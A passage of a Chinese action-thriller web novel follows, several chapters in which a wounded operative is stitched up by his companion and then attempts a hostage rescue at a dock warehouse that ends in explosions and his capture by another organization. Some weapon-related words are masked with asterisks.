时间在痛苦和等待中缓慢流逝。消炎药似乎起了一点作用,伤口的灼痛感稍微减轻了一些,但失血带来的虚弱和感染可能引发的高热,依旧像剑悬在头顶。
我靠在轮胎上,努力保持着意识的清醒。大脑在极度的疲惫和痛苦中,依旧强迫自己思考。
那张停车券……B2-117。商业中心地下车库。这可能是“勋”的一个临时交通点,甚至可能是一个安全的联络站。我们必须去那里,那可能是找到奶奶下落的唯一线索。
但以我现在的状态,别说战斗,连正常行动都困难。强行前往,无异于送死。
我们需要帮助吗?找阿杰?不,那等于刚出狼窝又入虎穴。阿杰背后的“组织”或许能提供医疗,但代价可能是失去自由,甚至被重新“格式化”。而且,他们与“勋”是敌对关系,一旦介入,奶奶的处境可能更加危险。
我们孤立无援。
唯一的希望,似乎就是我自己能尽快恢复一部分行动力,然后去那个车库赌一把。
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可是……时间呢?“勋”的人在我切断通讯后,会有什么反应?他们会加强戒备?还是会因为我的威胁而有所顾忌,尽快安排交换?奶奶在他们手上多一分钟,就多一分危险。
焦灼和无力感如同两只手,死死扼住我的喉咙。
“韩冰……”周玲的声音打断了我的思绪,她不知何时凑近了一些,手里拿着那块干硬的面包,小心翼翼地递到我嘴边,“再吃点东西吧……你流了那么多血……”
我看着她在昏暗光线下显得格外憔悴的脸,和她眼中那不容置疑的坚持,张开了嘴,机械地咀嚼着那难以下咽的食物。我知道,我必须补充体力,哪怕只是一点点。
吃完东西,她又帮我喂了水。冰凉的液体滑过干涩的喉咙,带来一丝短暂的慰藉。
“我们会救出奶奶的,对吗?”周玲看着我,眼神里是脆弱的希冀,仿佛我的肯定就是她全部的支撑。
“会的。”我看着她,给出了一个连我自己都无法完全相信的承诺。但在此刻,这是我能给她的,唯一的东西。
她似乎从我眼中看到了某种决心,用力点了点头,将脸埋进膝盖里,肩膀微微耸动,不再说话。
我重新闭上眼睛,调整着呼吸,试图利用这短暂的休整时间,尽可能多地恢复一丝力气。脑海中,那张停车券的影像,那个代号“灰雀”的监视者临死前惊愕的表情,还有视频通话中那个陌生男人冰冷的眼神,交替闪过。
B2-117……
这串数字,像是一把钥匙,或许能打开一扇通往真相和救赎的门,也或许……会推开更深的地狱之门。
但无论如何,我们都必须去尝试。
在体力恢复之前,在“勋”的下一次联系到来之前,这是我们唯一能抓住的,微弱的主动权。
夜色,在修车厂外无声地流淌。城市依旧在运转,霓虹闪烁,车水马龙,仿佛什么都没有发生。
而在这个被遗忘的角落,两个伤痕累累的灵魂,正在为了一场几乎看不到希望的营救,积蓄着最后的力量。
短暂的休整,是为了更残酷的搏杀。
第三十五章 药与代价
时间在废弃修车厂的死寂中,如同锈蚀的齿轮,缓慢而滞涩地转动。腹部的伤口在消炎药和紧绷绷带的双重作用下,那灼烧般的剧痛似乎被强行压制成了持续不断的、沉闷的钝痛,像有一把钝刀在体内不紧不慢地研磨。
失血带来的眩晕和虚弱依旧如影随形,每一次呼吸都牵扯着胸腔和腹部的肌肉,带来一阵隐痛。
周玲靠在对面的轮胎上,闭着眼睛,但微微颤动的睫毛和紧抿的嘴唇显示她并未入睡。她手里还紧紧攥着那张她和奶奶的合影。奶奶落在“勋”的手里,如同一块巨石压在她心上,让她无法有片刻安宁。
我尝试着动了动手指,然后是手臂。还好,基本的控制还在。我用手肘支撑着身体,极其缓慢地、一点一点地试图坐直一些。这个简单的动作却耗费了我巨大的力气,额头上瞬间又布满了冷汗,腹部的绷带下传来清晰的撕裂感。
“你别乱动!”周玲立刻睁开眼,急忙起身过来扶住我,语气带着责备和担忧。
“不能……一直躺着。”我喘着气,靠在她瘦弱的肩膀上,感受着她身体的微颤和传递过来的、微不足道却真实存在的暖意,“得去……那个车库……”
“可是你现在这样怎么去?”周玲的声音带着哭腔,“你会死的!”
“死不了……”我扯出一个极其难看的笑容,试图安抚她,但连我自己都能感觉到这话有多么苍白无力。
我们陷入了沉默。现实的残酷像冰冷的墙壁,将我们困在原地。
周玲的目光落在我腹部那片刺目的、再次被血浸湿的绷带上,眼神剧烈地挣扎着。忽然,她像是下定了某种决心,猛地站起身。
“你在这里等着,哪里也别去!”她的语气带着一种不容置疑的坚决,甚至带着一丝我以前从未在她身上见过的、近乎偏执的强硬。
“你去哪?”我立刻抓住她的手腕。
“我去弄点真正有用的药!还有吃的!”她看着我,眼神清澈而坚定,“你不能再这样硬撑下去了!伤口需要缝合,需要抗生素!不然我们哪儿也去不了!”
“不行!外面太危险!”我厉声反对,手上用力,几乎要捏碎她的腕骨,“‘勋’的人可能还在到处找我们!你不能出去!”
“那怎么办?!看着你死在这里吗?!”周玲突然激动起来,眼泪涌了出来,用力想挣脱我的手,“奶奶已经被他们抓走了!我不能再失去你!韩冰!我不能再看着你在眼前死去!那样比杀了我还难受!”
她的话语像一把重锤,狠狠砸在我心上。我看着她在泪水中显得格外明亮和痛苦的眼睛,那里面映照出的,不仅仅是恐惧和担忧,还有一种更深沉的、我几乎不敢去辨认的东西。
我的手,不由自主地松开了。
她看着我,用力抹了把眼泪,眼神重新变得决绝:“我知道哪里有小诊所,那种不太正规的,可以用现金,不会多问的。我很快回来!你答应我,一定要等我!”
说完,她不等我回应,转身就冲出了修车厂,身影迅速消失在黎明前最浓重的黑暗里。
“周玲!”我徒劳地喊了一声,回应我的只有外面呼啸而过的风声。
无力感再次如同潮水般将我淹没。我只能眼睁睁看着她为了我,再次独自闯入危险之中。这种将命运寄托在他人身上的感觉,比刀锋加身更让人煎熬。
我靠在轮胎上,闭上眼睛,强迫自己不去想最坏的可能。大脑却不受控制地勾勒出周玲被发现的画面,心像是被一只无形的手紧紧攥住,窒息般的疼痛甚至超过了腹部的伤口。
时间一分一秒地流逝,每一秒都像是在滚烫的油锅里煎熬。外面的天色逐渐由墨黑转为深蓝,预示着黎明即将来临。
周玲还没有回来。
恐惧如同藤蔓,悄悄缠绕上我的心,越收越紧。她会不会出事了?会不会被抓住了?那个小诊所安不安全?
各种可怕的念头如同毒蛇,噬咬着我的理智。我甚至开始后悔,刚才为什么不更坚决地拦住她。
就在我几乎要被焦虑和自责吞噬的时候,外面终于传来了急促而踉跄的脚步声!
是周玲!她回来了!
我猛地睁开眼,挣扎着想要起身。
周玲冲进修车厂那一刻,我看到她头发凌乱,衣服上沾满了灰尘和血迹?!她的脸颊有一道明显的擦伤,渗着血丝,左手手臂不自然地垂着,手肘处一片青紫,显然摔得不轻。但她怀里,紧紧抱着一个鼓鼓囊囊的塑料袋。
“周玲!”我失声喊道,心脏像是被狠狠刺了一刀。
“我……我没事!”她跑到我面前,顾不上自己的伤,急忙将塑料袋放在地上,从里面往外掏出几盒效果更强的抗生素和止痛药,一套未拆封的缝合针线,消毒酒精,纱布,甚至还有几支能量棒和一瓶功能饮料。
“快!先把药吃了!”她拧开饮料瓶盖,将药片塞进我手里,语气急促,眼神里带着完成任务后的庆幸和后怕。
我看着她狼狈的样子和脸上的伤,喉咙像是被什么东西堵住一样,接过药片和水,却迟迟没有咽下。
“你的伤……”我的声音沙哑得厉害。
“擦破点皮,没事!”她躲闪着我的目光,低头去拆缝合包的包装,但颤抖的手指暴露了她并不像表现出来的那么镇定,“你……你躺好,我……我帮你把伤口缝上。”
我看着她那双曾经只用来端盘子、浇花的手,此刻却要拿起针线,面对我身上狰狞的伤口。
“你……”我想阻止她。
“我在卫校旁听过几节护理课……看别人缝过……”她抬起头,看着我,眼神里带着一种破釜沉舟的勇气和一丝恳求,“让我试试,韩冰……不能再拖了……”
看着她眼中那混合着恐惧、坚定和不容拒绝的光芒,我所有劝阻的话都堵在了喉咙里。我缓缓躺平,闭上了眼睛。
“可能会……有点疼……”她小声说着,用消毒酒精清洗着双手和缝合工具,然后小心
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翼翼地揭开我腹部的绷带。
当冰冷的酒精棉触碰到外翻的、红肿的伤口时,我还是忍不住倒吸了一口冷气,肌肉瞬间绷紧。
“对不起……”周玲的声音带着哭腔,动作更加轻柔。
然后,我感受到了针尖刺破皮肤的、尖锐而清晰的刺痛。她的手在抖,下针的位置并不完美,力度也控制得不好,每一次穿针引线都带来一阵新的、令人牙酸的疼痛。
我死死咬住牙关,没有发出一点声音,额头上青筋暴起,汗水瞬间湿透了全身。我能感觉到粗糙的缝合线穿过皮肉,被笨拙地拉紧、打结……
这过程漫长而煎熬。不仅仅是肉体上的疼痛,更是精神上的折磨。感受着她颤抖的手指在我伤口上操作,听着她因为紧张和心疼而压抑的抽泣声,一种从未有过的、复杂而汹涌的情绪在我胸腔里左冲右突,几乎要破体而出。
我不再仅仅是一个需要完成任务的**,一个被追捕的实验体。我是一个被眼前这个女孩,用她笨拙却无比坚定的方式,拼命想要从死亡线上拉回来的……人。
不知过了多久,缝合终于结束了。
周玲几乎虚脱地坐倒在地,大口喘着气,看着自己那并不美观、甚至有些歪扭的“作品”,眼泪终于忍不住大颗大颗地掉下来。
“对不起……缝得不好……”
我睁开眼,看着她泪流满面、狼狈不堪却依旧紧紧握着缝合针的样子,心脏最坚硬的地方,仿佛被什么东西狠狠凿开了一道裂缝。
我抬起沉重的手臂,极其缓慢地,用指腹轻轻擦去她脸颊上的泪水和血迹。
“……很好。”我听到自己的声音响起,沙哑,却带着一种我自己都未曾察觉的、极其细微的柔和。
周玲愣住了,抬起泪眼朦胧的眼睛看着我。
四目相对。
在这肮脏冰冷的废墟里,在弥漫着血腥和药味的空气中,某种无形的东西,似乎在悄然改变。
然而,这短暂的、近乎温情的瞬间,被周玲带回来的另一个消息打破了。
她平复了一下情绪,从口袋里掏出一张皱巴巴的、被血染红了一角的纸条,声音带着一丝惊魂未定:
“我……我回来的时候,在巷口被人撞了一下,这张纸条……就被塞进了我手里。”
我接过纸条,展开。
上面只有一行打印的字:
“想要老太婆活命,明晚十点,码头旧仓库,‘寒霜’独自前来。过时不候。”
落款,依旧是那个手绘的渔夫草帽。
“勋”的最终通牒,来了。
而周玲带回的,不仅仅是救命的药物,还有这场生死约战的战书。
我看着纸条,眼神重新变得冰冷锐利。
明晚十点,码头旧仓库。
最终的舞台,已经搭好。
而周玲为我缝合伤口时那颤抖的手指和滚烫的泪水,如同烙印,深深刻进了我冰冷的心脏,成为了我必须活下去、必须赢下这场战斗的……另一个理由。
第三十六章 暗夜之约
修车厂里,血腥味、药味和铁锈味混合成一种令人窒息的绝望气息。
周玲为我缝合伤口时那笨拙却坚定的触感,她滚落的泪水砸在我皮肤上微凉的瞬间,还有那句带着颤抖的“对不起……缝得不好”……这些画面和声音,如同烙印,深深刻进了我因失血和疲惫而近乎麻木的神经。
然而,那张被血染红一角的纸条,像一盆冰水,将刚刚升起的一丝微弱暖意彻底浇灭。
明晚十点,码头旧仓库。独自前往。
没有讨价还价的余地,没有确认奶奶安全的环节。这是一个赤裸裸的、居高临下的命令,也是一个精心布置的、几乎可以预见的死亡陷阱。
“勋”算准了我别无选择。他们抓住了我唯一的,也是最大的弱点:周玲和她的奶奶。为了她们,哪怕是刀山火海,我也必须去闯。
周玲看着我手中那张纸条,脸色比刚才更加苍白,身体不受控制地颤抖起来。“不能去……韩冰,他们一定会杀了你的!这是陷阱!”
她的声音带着哭腔,充满了恐惧和无力。她刚刚才拼尽全力把我从鬼门关拉回来一点,转眼却要眼睁睁看着我去送死。
我缓缓坐直身体,腹部的伤口因为动作而传来一阵撕裂般的痛楚,新缝合的地方隐隐有血丝渗出。但我强迫自己忽略这疼痛,目光落在周玲写满担忧和绝望的脸上。
“我必须去。”我的声音平静,却带着不容置疑的决绝,“这是救奶奶唯一的机会。”
“可是……”
“没有可是。”我打断她,眼神锐利地扫过她手臂的淤青和脸颊的擦伤,“而且,他们伤了你。”
最后这句话,我说得很轻,却带着一种冰冷的、几乎凝成实质的杀意。周玲为了给我弄药而受的伤,像点燃了我内心深处属于“寒霜”的、冷酷暴戾的火焰。
周玲怔住了,她看着我眼中那毫不掩饰的、为她而起的怒意和杀机,心脏像是被什么东西猛地撞了一下,一种复杂的、酸涩又带着一丝奇异暖流的感觉涌了上来。她张了张嘴,最终却什么也没说出来,只是用力地、更加用力地攥紧了拳头。
她知道,阻止不了我。
“那我跟你一起去!”她抬起头,眼神里重新燃起一种近乎偏执的坚决,“我不能让你一个人去冒险!”
“不行!”我断然拒绝,语气强硬,“你留在外面,接应。如果我们都陷在里面,就真的完了。”
这是谎言,也是保护。我不能让她再涉险。码头旧仓库,必然是龙潭虎穴,我此去凶多吉少,不能拖着她一起死。
周玲看着我,眼泪在眼眶里打转,但她倔强地没有让它们掉下来。她明白我的用意,也正是因为明白,才更加心痛和不甘。
“那……那你要答应我,一定要活着回来!”她抓住我的胳膊,指甲几乎要掐进我的肉里,声音带着哽咽的哀求,“你和奶奶……都要活着回来!”
我看着她在泪光中显得格外明亮的眼睛,那里面盛满了毫不掩饰的、几乎要溢出来的担忧和……某种更深的情感。
我的心像是被什么东西狠狠揪了一下,一种陌生的、酸胀的情绪在胸腔里蔓延。
我抬起手,动作有些僵硬地,轻轻拂开她额前被汗水和泪水粘住的碎发。
“……我尽量。”我给出了一个模糊的承诺。在这个随时可能丧命的时刻,任何肯定的保证都显得如此虚假。
她没有再逼问,只是深深地看着我,仿佛要将我的样子刻进灵魂深处。
接下来的时间,是沉默而压抑的准备。
我吞下了周玲带回来的强效止痛药和抗生素,药物作用下,伤口的剧痛被压制到可以忍受的程度,但身体依旧虚弱。我仔细检查了那把只剩三发**的**,擦拭干净,将**一颗颗退出又压入,确认结构完好。那把磨尖的排气歧管也被我再次打磨,用破布缠好,绑在小腿最顺手的位置。
周玲则默默地帮我更换了腹部的纱布,动作比之前熟练了一些,但依旧轻柔。她没有再哭,只是抿着嘴唇,眼神专注,仿佛在完成一件神圣的仪式。
夜幕,再次如同巨大的黑色天鹅绒帷幕,缓缓覆盖了城市。
晚上九点。距离约定的时间,还有一个小时。
我站起身,活动了一下因为久坐而有些僵硬的身体。止痛药的效果让我的行动暂时不受太大影响,但我明白剧烈的战斗随时
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可能让伤口再次崩裂。
“我走了。”我看向周玲。
周玲站起身,走到我面前,仰头看着我。黑暗中,她的眼睛像两颗浸在水里的黑曜石,闪烁着复杂的光芒。她突然伸出手,紧紧抱住了我。
她的拥抱很用力,身体微微发抖,带着一种孤注一掷的决绝。
我身体一僵,属于“寒霜”的本能让我几乎要下意识地推开她。但感受到她身体的颤抖和传递过来的、毫无保留的依赖与恐惧,我那冰冷的、习惯于杀戮的心脏,仿佛被投入了一颗小小的、却带着灼人温度的石子,漾开了一圈圈难以平息的涟漪。
我没有动,任由她抱着。过了几秒,才抬起手,有些笨拙地、轻轻拍了拍她的后背。
“等我回来。”我低声说。
她点了点头,松开了我,后退一步,用力抹了把眼睛,努力挤出一个比哭还难看的笑容:“嗯。”
没有再多言,我转身,步入了修车厂外浓重的夜色之中。
我没有回头。我知道,她一定还站在那片黑暗中,注视着我离去的方向。
夜风凛冽,带着江边特有的湿冷气息。我拉高了夹克的领子,将帽檐压得更低,如同一个真正的幽灵,穿梭在通往废弃码头的、灯光昏暗的街道和小巷中。
脑海中,不受控制地闪过周玲为我缝合伤口时专注的眼神,她递给我药和水时颤抖的手,还有刚才那个用尽全力的拥抱……
这些属于“韩冰”的、带着温度的记忆碎片,与“寒霜”那冰冷的、计算着每一步杀招的战斗本能,在我体内激烈地碰撞、交织。
我知道,此去码头,不仅仅是为了救出奶奶,履行对周玲的承诺。
更是为了斩断这不断试图将我拖回黑暗的过去,为了守护那缕照进我冰冷世界的、微弱却真实的光。
哪怕,代价是我的生命。
城市的灯火在身后逐渐远去,前方,废弃码头的轮廓在夜色中显现,像一头蛰伏的、等待着吞噬生命的巨兽。
我握紧了口袋里的**,眼神重新变得如同西伯利亚的冻土,冰冷,坚硬,不带一丝情感。
猎杀,或者被猎杀。
最终的舞台,就在眼前。
第三十七章 码头死局
夜风裹挟着江水的腥潮和远处城市隐约的喧嚣,吹拂着废弃码头。这里曾是货物吞吐的繁忙之地,如今只剩下一片破败与死寂。
我隐匿在一堆废弃的缆绳卷后面,距离那座约定的旧仓库约五十米。手表指针指向九点五十分。止痛药的效果正在巅峰,强行压制着腹部伤口的**,让我的感官保持在一种异常清晰却又带着一丝麻木的状态。
空气中弥漫着铁锈、腐烂的木头和……一丝若有若无的、与这环境格格不入的微弱气息。
他们果然布下了天罗地网。
仓库大门虚掩着,里面透出昏暗摇曳的光,像是烛火,又像是应急灯。门口看不到人影,但我的直觉告诉我,至少有四到五个**埋伏在仓库入口两侧的阴影里,或者更高的位置。
没有退路。
我深吸一口冰冷的、带着咸腥味的空气,将脑海中周玲含泪的眼睛和那个用力的拥抱强行压下。此刻,我需要的是“寒霜”,是那个在黑暗中行走、收割生命的**。
我检查了一下绑在小腿上的排气歧管,确认它牢固而顺手。然后,我将那把**从口袋里拿出,关闭保险,握在手中。
三发**,必须用在最关键的时刻。
没有选择强攻正门。那无异于**。
我的目光扫过仓库侧面。那里有一排通风扇的开口,扇叶大多已经锈蚀脱落,只留下空洞的框架。其中一个开口的下方,堆叠着几个废弃的木箱,形成了一个可以攀爬的支点。
就是那里。
我像一道融入夜色的影子,悄无声息地移动到仓库侧面,利用木箱的掩护,敏捷地攀上了通风口。腹部的伤口在发力时传来一阵尖锐的刺痛,让我闷哼一声,几乎脱手。我死死咬住牙关,手臂肌肉贲张,强行将身体拉了上去,蜷缩着钻进了那个狭窄的洞口。
里面是仓库上方的通风管道层,空间狭小,布满灰尘和蛛网。我匍匐前进,金属管道在身下发出细微的“嘎吱”声。透过管道缝隙和破损的隔板,我能隐约看到下方仓库内部的情况。
仓库内部空间巨大而空旷,堆放着一些蒙尘的货箱和废弃的机器。中央区域被清理出来,点着几盏功率不大的应急灯,光线昏暗,在地上投下摇曳扭曲的影子。
而在灯光聚焦的中心,一把破旧的木椅上,绑着一个熟悉的身影是周玲的奶奶!她低垂着头,花白的头发散乱,嘴巴被胶带封住,身体因为恐惧而微微颤抖,但似乎没有受到明显的外伤。
看到她暂时无恙,我悬着的心稍微落下了一点点。但随即,更大的危机感攫住了我。
奶奶周围,空无一人。
这不对劲。**静了。
陷阱在哪里?
我的目光如同最精密的扫描仪,仔细搜索着仓库的每一个角落。货箱后面?机器阴影里?还是……
突然,我的视线定格在仓库二楼的一个悬空的、类似控制室的平台上。那里,站着两个人。
其中一个,正是视频通话里那个面容冷峻的中年男人。他双手背在身后,如同磐石般站立,眼神锐利地扫视着下方,仿佛在等待着什么。
而另一个人,让我的眼睛不敢相信!
是冷艳!
她没死?!或者说,阿杰并没有抓住她?她穿着一身黑色的紧身衣,勾勒出曼妙却充满危险气息的曲线,脸上带着那种熟悉的、混合着嘲弄和掌控一切的冷笑。她的目光,似乎有意无意地,扫过我藏身的通风管道方向!
她发现我了?!
不可能!我隐藏得很好!
除非……他们早就知道我会从这里进来!那个通风口,本身就是他们故意留下的“入口”!
这是一个请君入瓮的死局!从我踏入码头的那一刻起,甚至更早,从我接到那张纸条开始,我就已经一步步走进了他们设计好的剧本!
冷汗,瞬间浸透了我的后背。
怎么办?退出去?不可能,奶奶还在他们手上。强攻?下面是至少四五个**,上面是冷艳和那个深不可测的中年男人,我腹部的伤口也支撑不了高强度的战斗。
就在我大脑飞速运转,寻找破局之策时,下方仓库中央,异变陡生!
原本低垂着头的奶奶,身体突然剧烈地抽搐了一下,然后猛地抬起头!她的眼神不再是之前的恐惧和茫然,而是一种……空洞的、仿佛被什么东西控制的诡异状态!
她嘴巴上的胶带不知何时松开了,她张开嘴,发出了一种扭曲的、不似人声的、仿佛电子合成般的音节:
“寒……霜……出……来……”
这声音在空旷的仓库里回荡,带着令人毛骨悚然的寒意!
他们控制了奶奶?!用什么手段?药物?还是……那个植入我体内的“单元”
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类似的技术?!
怒火如同岩浆,瞬间冲垮了我强行维持的冷静!他们竟然对一个手无寸铁的老人下手!
与此同时,二楼平台上的冷艳,嘴角勾起一抹残忍的笑容,她抬起手,手中拿着一个类似遥控器的装置。
“不出来吗?‘寒霜’?”她的声音透过某种扩音设备传来,带着猫捉老鼠般的戏谑,“那就让你看看,不听话的代价。”
她轻轻按下了遥控器上的一个按钮。
“啊——!”
奶奶猛地发出一声凄厉至极的惨叫,身体如同触电般剧烈痉挛,从椅子上翻滚下来,蜷缩在地上,痛苦地抽搐着!
“住手!”我再也无法忍耐,猛地从通风管道中站起身,手中的枪口对准了二楼平台的冷艳!
几乎在我现身的同时!
“砰!砰!砰!”
仓库四周的阴影里,瞬间爆发出密集的**!**如同暴雨般向我藏身的通风管道层倾泻而来!
“噗噗噗噗!”
**打在金属管道和水泥隔板上,发出令人心悸的声响,溅起无数火花和碎屑!我被迫伏低身体,在狭窄的空间里狼狈地翻滚躲避!
他们早就等着我暴露位置!
“抓住他!要活的!”二楼那个中年男人冰冷地下达命令。
更多的脚步声从仓库各个方向响起,向我包围过来!
腹部的伤口因为剧烈的动作再次崩裂,温热的血液迅速浸湿了绷带,剧痛如同潮水般一阵阵冲击着我的意识。
我陷入绝境!被完全包围,**所剩无几!
看着依旧在痛苦抽搐的奶奶,听着冷艳那令人作呕的冷笑,一股暴戾到极致的杀意在我胸腔里疯狂燃烧!
不能死在这里!至少,不能让他们得逞!
我的目光扫过下方,落在了仓库角落,那几个堆叠在一起的、看起来像是装着化学品的金属桶上。桶身上印着模糊的、代表易燃易爆的标识。
一个同归于尽的疯狂念头,在我脑中闪现。
既然无法全身而退……
那就把这里,变成所有人的坟墓!
我眼中闪过一丝决绝的疯狂,猛地从通风管道的破口处,向着那几个化学品桶的方向,纵身跃下!
同时,我抬起了手中的枪,对准了其中那个标识最清晰的桶身!
“砰!”
最后一颗**,呼啸而出!
第三十八章 火海抉择
我如同折翼的鸟,从通风管道层向着下方那几个化学品桶坠落。耳边是呼啸的风声,下方是冷艳骤然变色的脸和那个中年男人猛地收缩的瞳孔,周围是仍在倾泻但已然失准的**。
“砰!”
**精准地击中了那个印着易燃标识的金属桶!不是**,而是先发出一声沉闷的撞击声,紧接着:
“嗤——!”
一股刺鼻的、黄绿色的浓烟从弹孔中猛烈喷涌而出!同时,桶身迅速发烫、变红!
不是直接的**物,是强腐蚀性和遇空气剧烈反应的化学品!
“小心!是硝酸甘油混合物!”二楼平台上传来中年男人带着一丝惊惶的吼声!
太迟了!
喷涌的浓烟瞬间弥漫开来,接触到空气和周围其他桶身,引发了连锁反应!
“轰!!!”
一声远比**恐怖、沉闷如巨兽咆哮的巨响猛然炸开!第一个桶终于承受不住内部急剧升高的压力和化学反应,轰然爆裂!灼热的气浪混合着致命的化学烟雾和金属碎片,向四周疯狂席卷!
“啊——!”
离得最近的几名**首当其冲,被气浪狠狠掀飞,身体在空中就被腐蚀性烟雾笼罩,发出凄厉非人的惨叫,撞在墙壁或货箱上,再无声息。
**的冲击波也狠狠撞在我的后背,加速了我下坠的趋势,同时也让我避开了最致命的直接冲击和碎片。但我依然感觉像是被一柄重锤砸中,五脏六腑都移了位,一口鲜血喷了出来。
“轰!轰隆!!”
接二连三的**响起!其他的化学品桶被相继引燃、引爆!整个仓库瞬间化作一片火海与毒雾的地狱!烈焰冲天而起,吞噬着一切可以燃烧的东西,浓烟滚滚,刺鼻的气味让人无法呼吸。
高温炙烤着皮肤,浓烟呛得我剧烈咳嗽。我重重地摔落在坚硬的地面上,落地时下意识地蜷缩身体,却依旧感觉全身骨骼都要散架,腹部的伤口更是传来一阵几乎让我昏厥的剧痛。
但我不能昏过去!
我强忍着眩晕和剧痛,在弥漫的浓烟和跳跃的火光中,拼命寻找着奶奶的身影。
她之前从椅子上摔落,位置应该离**中心稍远一些。找到了!她蜷缩在一个倾倒的货箱后面,似乎被**的气浪震晕了过去,幸运地没有被飞溅的碎片直接击中,但周围的火势正在迅速向她蔓延!
必须立刻救她出去!
我挣扎着想要爬起来,却发现左腿一阵钻心的疼痛,使不上力,可能是在坠落时摔伤了或者被碎片击中。视线因为浓烟和疼痛而模糊,呼吸越来越困难。
“咳咳……韩……韩冰……”
一个微弱的声音从不远处传来。
是冷艳!她似乎也从二楼平台被震落下来,摔在了一堆燃烧的杂物旁,一条腿被掉落的钢结构压住,无法动弹。她脸上那惯有的嘲弄和掌控感消失了,只剩下痛苦和对死亡的恐惧。火焰正沿着杂物向她逼近。
她看着我,眼神复杂,张了张嘴,似乎想说什么。
但我没有理会她。我的眼里只有火海中那个蜷缩的苍老身影。
我用手撑着地面,拖着受伤的腿,无视了冷艳那绝望的眼神,一点一点,艰难地向奶奶的方向爬去。
每移动一寸,都牵扯着腹部的伤口和腿上的伤,疼痛如同潮水般不断冲击着我的意志。浓烟吸入肺里,带来火烧火燎的灼痛和窒息感。周围的温度越来越高,火焰发出噼啪的咆哮,仿佛随时要将我们彻底吞噬。
终于,我爬到了奶奶身边。她还有微弱的呼吸。我用力将她背在背上,她的重量几乎将我压垮。腹部的伤口在重压下崩裂得更厉害,温热的血液顺着腿流下。
我咬紧牙关,用尽全身残存的力气,背着奶奶,朝着记忆中仓库大门的方向,踉跄着,一步一步地挪动。
火焰在身后追逐,浓烟遮蔽了前路。
意识在极度的痛苦和缺氧中开始模糊。我只能凭借着本能和一股不肯放弃的执念,向前,再向前。
恍惚中,我仿佛听到了周玲带着哭腔的呼喊:“韩冰!奶奶!”
是幻觉吗?还是她真的不顾一切地找来了?
不能让她进来!这里太危险!
我想喊,却发不出声音。
终于,前方出现了那扇被**冲击得变形、但尚未完全被火焰封死的大门缝隙!
希望就在眼前!
我用尽最后一丝力气,猛地撞开了那扇扭曲的铁门,背着奶奶,冲出了那片烈焰地狱!
外面冰冷的空气瞬间涌入肺部,带来一阵剧烈的咳嗽和短暂的清
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醒。我双腿一软,连同背上的奶奶,一起重重地摔倒在码头冰冷粗糙的地面上。
脱离了火海,但危险并未解除。仓库还在剧烈燃烧,随时可能发生更大的**。而且,“勋”的人可能还有残余。
我挣扎着抬起头,模糊的视线中,看到了一个熟悉的身影正从不远处疯狂地跑来。
是周玲!她真的来了!她脸上满是泪水和烟灰,眼中充满了极致的恐惧和看到我们时的、不敢置信的狂喜。
“奶奶!韩冰!”她哭喊着扑到我们身边。
“快……走……”我艰难地吐出两个字,感觉生命力正在随着血液快速流逝。
周玲看着我和奶奶浑身是血、奄奄一息的样子,眼泪流得更凶,但她知道此刻不是哭泣的时候。她用力想要扶起我和奶奶,但她一个人的力量太过微弱。
就在这时,一阵急促的脚步声由远及近!
不是一个人,是好几个人!
我的心猛地沉了下去。是“勋”的援兵吗?还是……
几个穿着黑色作战服、动作迅捷专业的身影出现在火光映照下。他们迅速散开,警戒四周,其中两人快速来到我们身边。
不是“勋”的人。是阿杰的手下!
阿杰的身影最后出现,他看了一眼冲天而起的火光和一片狼藉的仓库,又看了看地上奄奄一息的我和昏迷的奶奶,最后目光落在满脸泪痕、试图保护我们的周玲身上。
他的脸上没有任何表情,只是冷静地挥了挥手。
“带走。清理现场。”
两名手下上前,小心但不容抗拒地将我和奶奶分别抬起。另一人则对周玲说道:“周小姐,请跟我们离开,这里不安全。”
周玲看着阿杰,眼神里充满了警惕和不安,但她看着我和奶奶的状态,知道没有选择,只能咬着嘴唇,跟在了后面。
我被抬上一辆等候在暗处的黑色越野车。在失去意识的前一秒,我透过车窗,最后看了一眼那片吞噬了冷艳和未知危险的熊熊火海。
码头死局,以一场**和烈火暂时告终。
但我和周玲,还有奶奶,真的逃离了吗?
还是说,我们只是从一场噩梦,落入了另一张更加无形、却也更加难以挣脱的网中?
意识,沉入无边的黑暗。
第三十九章 牢笼与微光
意识像是沉溺在冰冷粘稠的深海,每一次试图上浮,都被无形的力量拖拽回去。
疼痛不再是尖锐的刺激,而是化作一种弥漫全身的、沉重的钝痛,尤其是腹部和左腿,像是被烙铁反复灼烧。耳边有模糊的声音,像是隔着厚重的水层传来,听不真切,只有仪器的规律滴答声异常清晰。
我挣扎着,对抗着那片想要将我彻底吞噬的黑暗。
不知过了多久,一丝微弱的光线刺破眼帘。我费力地睁开沉重的眼皮,视野里是一片模糊的白色。适应了几秒,才看清是天花板——平整,洁白,没有任何装饰,散发着一种无菌的、非人化的冰冷气息。
不是医院。至少不是普通的医院。
我尝试移动头部,脖颈传来僵硬的酸痛。目光所及,是一个不大的房间。墙壁是同样的纯白,一张简单的金属床,我正躺在上面,身上连接着几根管线,通向床边的监护仪,屏幕上跳动着我的生命体征数据。房间没有窗户,只有一扇厚重的、看起来像是金属材质的门。空气里弥漫着消毒水的味道,却同样令人窒息。
安全屋?还是……另一座监狱?
记忆如同破碎的潮水,带着灼热和痛楚涌回脑海。码头的**,冲天的火焰,冷艳绝望的眼神,奶奶痛苦的抽搐,周玲带着泪水的呼喊……还有最后,阿杰那张毫无表情的脸和他下达的命令。
我们落在了“组织”手里。
下意识地想坐起身,却牵动了腹部的伤口,一阵撕裂般的剧痛让我倒吸一口凉气,重重地跌回床上,监护仪发出短促的警报声。
“别乱动。”一个平静的、略带电子质感的女声响起。
我循声望去,这才发现房间角落里还站着一个穿着白色护士服、但气质更像技术员的女人,她正低头在手中的平板电脑上记录着什么。
“你的伤口刚刚重新缝合,左腿胫骨骨裂,多处软组织挫伤,失血过多。需要静养。”她头也不抬地说道,语气没有任何起伏,像是在陈述一件与她无关的物品的状况。
“周玲……和我一起的那个女孩,还有老人,她们在哪里?”我的声音像砂纸摩擦沙哑干涩。
女护士抬起头,看了我一眼,眼神平静无波:“她们在别的房间,很安全。”
安全?我心底冷笑。在阿杰手里,安全这个词本身就充满了讽刺。
“我要见她们。”我盯着她,试图从她脸上找到一丝破绽。
“需要得到许可。”她收回目光,继续在平板上操作,“你的首要任务是恢复。李医生稍后会来为你做进一步检查。”
李医生?那个在医疗中心试图给我做手术的女医生?她也在这里?看来阿杰是把整个医疗团队都搬来了。
女护士不再理会我,记录完数据后,便转身走到门边,在门旁的密码面板上按了几下,厚重的金属门无声地滑开,她走了出去,门又迅速关上,将我重新隔绝在这个纯白的牢笼里。
